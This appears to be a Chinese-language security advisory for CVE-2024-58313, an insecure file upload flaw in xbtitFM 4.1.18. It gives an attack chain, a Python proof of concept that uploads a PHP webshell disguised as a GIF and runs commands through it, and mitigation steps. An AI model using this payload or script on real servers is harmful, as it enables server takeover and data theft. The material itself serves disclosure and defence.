IPBUF安全漏洞报告
English
CVE-2024-58313 CVSS 7.2 高危

CVE-2024-58313 xbtitFM 4.1.18 不安全文件上传漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2024-58313
漏洞类型
不安全文件上传/远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
xbtitFM 4.1.18

相关标签

不安全文件上传远程代码执行RCEwebshellxbtitFMBitTorrent Tracker权限绕过CVE-2024-58313

漏洞概述

CVE-2024-58313是xbtitFM 4.1.18版本中存在的一个高危安全漏洞,CVSS评分达到7.2。该漏洞属于不安全文件上传类别,允许具有管理权限的认证攻击者通过file_hosting功能上传恶意文件并执行任意PHP代码。xbtitFM是一个基于PHP的BitTorrent追踪器系统,广泛用于构建私有BT下载站点。攻击者利用此漏洞可以完全控制服务器,执行系统命令,窃取敏感数据,或将其作为进一步攻击的跳板。该漏洞的严重性在于其利用难度相对较低,攻击者只需拥有管理员账户即可实施攻击,且一旦成功即可获得服务器的完全控制权。漏洞影响所有使用xbtitFM 4.1.18版本的部署环境,强烈建议受影响的用户立即采取修复措施。

技术细节

漏洞根源在于xbtitFM的file_hosting功能对上传文件的验证机制存在严重缺陷。系统仅依赖客户端提供的Content-Type头进行文件类型检查,而未进行服务器端的内容验证和文件签名检查。攻击者可以通过以下步骤利用此漏洞:首先,使用管理员账户登录系统并访问file_hosting上传功能;然后,构造恶意PHP文件,文件内容包含webshell代码;接着,修改HTTP请求中的Content-Type头为image/gif以绕过前端检查;再添加GIF89a魔术字节到文件开头,使文件看起来像有效的GIF图像;最后,使用替代PHP标签(如<?而非标准<?php)进一步混淆代码。系统错误地将此类文件识别为图片并存储在可访问的Web目录下。攻击者随后访问上传的文件即可触发PHP代码执行,从而在服务器上执行任意系统命令,实现远程代码执行(RCE)。由于file_hosting功能通常允许上传图片用于分享,攻击者可以轻易地将恶意文件伪装成正常图片绕过安全检测。

攻击链分析

STEP 1
步骤1
信息收集:识别目标网站使用的xbtitFM版本,确认是否为4.1.18或更早版本
STEP 2
步骤2
获取管理员权限:通过默认凭据、暴力破解或社会工程学手段获取管理员账户登录凭证
STEP 3
步骤3
构造恶意文件:创建包含PHP webshell的GIF文件,添加GIF89a魔术字节和替代PHP标签以绕过检测
STEP 4
步骤4
绕过文件类型检查:修改HTTP请求的Content-Type头为image/gif,欺骗服务器的文件类型验证机制
STEP 5
步骤5
上传恶意文件:通过file_hosting功能上传构造好的webshell文件到服务器
STEP 6
步骤6
触发代码执行:访问上传的恶意文件URL,服务器解析并执行其中的PHP代码
STEP 7
步骤7
远程代码执行:使用webshell执行任意系统命令,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2024-58313 PoC - xbtitFM 4.1.18 Insecure File Upload # Target: xbtitFM <= 4.1.18 import requests import sys TARGET = "http://target.com/xbtitfm" USERNAME = "admin" PASSWORD = "admin123" session = requests.Session() # Step 1: Login as admin login_data = { "uid": USERNAME, "pwd": PASSWORD } resp = session.post(f"{TARGET}/index.php?page=login", data=login_data) print("[+] Logged in as admin") # Step 2: Prepare malicious PHP file with GIF magic bytes php_payload = "GIF89a;<? system($_GET['cmd']); ?>" files = { "file": ("shell.gif", php_payload, "image/gif") } # Step 3: Upload the malicious file via file_hosting upload_url = f"{TARGET}/index.php?page=file_hosting&action=upload" resp = session.post(upload_url, files=files) print("[+] File uploaded") # Step 4: Extract uploaded file path and execute commands # Parse response to get file URL file_url = extract_uploaded_url(resp) if file_url: # Step 5: Execute arbitrary commands cmd_url = f"{file_url}?cmd=id" resp = session.get(cmd_url) print(f"[+] Command output: {resp.text}") else: print("[-] Failed to get uploaded file URL")

影响范围

xbtitFM 4.1.18
xbtitFM <= 4.1.18

防御指南

临时缓解措施
临时缓解措施:在厂商发布正式补丁前,可采取以下措施降低风险:1) 立即禁用file_hosting功能或将相关模块设置为维护模式;2) 配置Web服务器(如Apache/Nginx)禁止上传目录执行PHP脚本,通过.htaccess或location配置限制脚本执行权限;3) 加强管理员账户密码策略,使用强密码并定期更换;4) 限制file_hosting功能仅对信任的管理员开放,并启用双因素认证;5) 部署Web应用防火墙(WAF)规则检测异常文件上传行为;6) 实施文件上传日志监控,及时发现可疑的上传活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表